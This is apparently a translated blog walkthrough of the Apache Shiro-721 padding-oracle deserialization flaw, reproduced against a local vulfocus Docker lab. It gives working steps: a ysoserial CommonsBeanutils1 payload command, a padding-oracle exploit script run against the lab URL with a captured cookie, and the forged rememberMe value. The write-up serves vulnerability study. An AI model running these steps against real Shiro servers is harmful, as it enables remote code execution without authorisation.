Shiro Historical Vulnerability Recurrence - Shiro-721

Vulnerability principle

Shiro rememberMe deserialization remote code execution vulnerability

Due to the problem of the rememberMe field encrypted by AES-128-CBC mode in the Apache Shiro cookie, the user can construct a malicious rememberMe field through the attack code generated by Padding Oracle encryption, and re-request the website to perform a deserialization attack, eventually causing any code execution

The rememberMe cookie is encrypted in AES-128-CBC mode and is vulnerable to Padding Oracle attacks. A deserialization attack can be performed by combining a valid rememberMe cookie as a prefix to a Padding Oracle attack, and then crafting the rememberMe.

Tip: After version 1.2.4, shiro has replaced AES-CBC with AES-GCM, and it is no longer possible to traverse keys through Padding Oracle.

Affected version

Apache Shiro <= 1.4.1 (requires a legal login account, based on Padding Oracle attack to achieve the attack)

Reference link: https://www.jianshu.com/p/833582b2f560

feature judgment

Since exploiting the vulnerability requires a legal login account, here we use the account to log in normally to obtain a valid rememberMe cookie, and record the value of this rememberMe

Environment build

Docker basic operations

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

Visit the shooting range address and build successfully

http://192.168.88.130:8080/login.jsp

Vulnerability recurrence

Use the correct user and password, check rememberMe, use the burp proxy, and get the returned rememberMe value.

If the authentication is successful, the deleteMe cookie will not be set

The deleteMe cookie will be set when the authentication fails

deleteMe's cookie

bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2

Use ysoserial tool to generate payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/1" >
payload.class

#"touch /tmp/1" 在tmp目录写入1

Use the deleteMe cookie value obtained by burp just now as a prefix, load the Payload, and perform a Padding Oracle attack

Script link: https://github.com/wuppp/shiro_rce_exp

python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie] payload.class

python2 shiro_exp.py http://192.168.88.130:8080 bVZT3bzgT/0t714w/WmYr3EP081Z0qO7gaUMGC90GK/R019JeYL+64UgucSB8COn6jlzV10THzZP0okwQ/Fs75d2XAvhepUV8RxgSWhFEWQLNq4nXw1ESgbiAQb9KyMd/nwgT9goYuMOERIbNA6Ay5AWRtuLvEaRmSTYPwxampXbnG2JlSXms45L6uqM2ek4X3y6ZSiZM80XbZUyXdOBP+EN8TuRhO+bS8N8jEWaj/uAtNZY8m94m11/SIPk1nBGfGzpcU3WIbT4R3feHaOkCHYLTuLxif1q6rItx5eICS5q8B4qVrTESf2XCFgaGp2FxlZ18AjpTOF4gwQ7cLEM7L49BhvxpAlj4w0GMOuyk27OKdUIh3+RK5qT7Dgp3fGWbEZrqyu6MCAG0TmKY2vKE1peLRNEAuQJapRU/FCVcSfSolxIMHSHb/WzBpcLehOC5Jslb5hekliouggjfNfTV6fSuvz1hLIfix2IiRwmiM/ns3xAVVsBwOc+1SxLqpt2 payload.class
Usage: shiro_exp.py <url> <somecookie value> <payload>

takes a long time in between

The blasting is successful, and the value of rememberMe cookies is returned

6ug1zz4BAzMfEGfqrLBO34ZfOOFO0Ucw/ocfmVCcPBdK2rQmjzPdMczCUTDsYz2M2Fbvq4zYKW4ffu8uBOqWdkyf1RmCM0LdoVLUMqTmqcdxPS0S9noRnrPEtb8UjxyWAXnZQGyEhIF3svbLkcEQIOKk+4ER3rE+6v4pq0Je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KKFo6uczwxwRAauu/ityKgYYqsuHf7MqS+6yNDLoc5iPAD4gZ92+MEeIqq9/NdFy3DrcZ0bNK/FpUAT5T1oAnP3PcaZOseD+9e8JZJavOm+xsqv/0zly92Q3Fk6A9UNtVMXljS2fUWU1If6LTcCFQ26IHIfKIjxqGaB+1gEMeGcvuLBZ4lAaE2/yhRa4kswAAAAAAAAAAAAAAAAAAAAA=

Access the shooting range address and use burp to capture packets, add the rememberMe value blasted above

Go to the shooting range server to see if a file of 1 is created in the /tmp directory

docker exec -it 035 /bin/bash

The exploit was successful!

Guess you like

Origin blog.csdn.net/weixin_44971640/article/details/128550973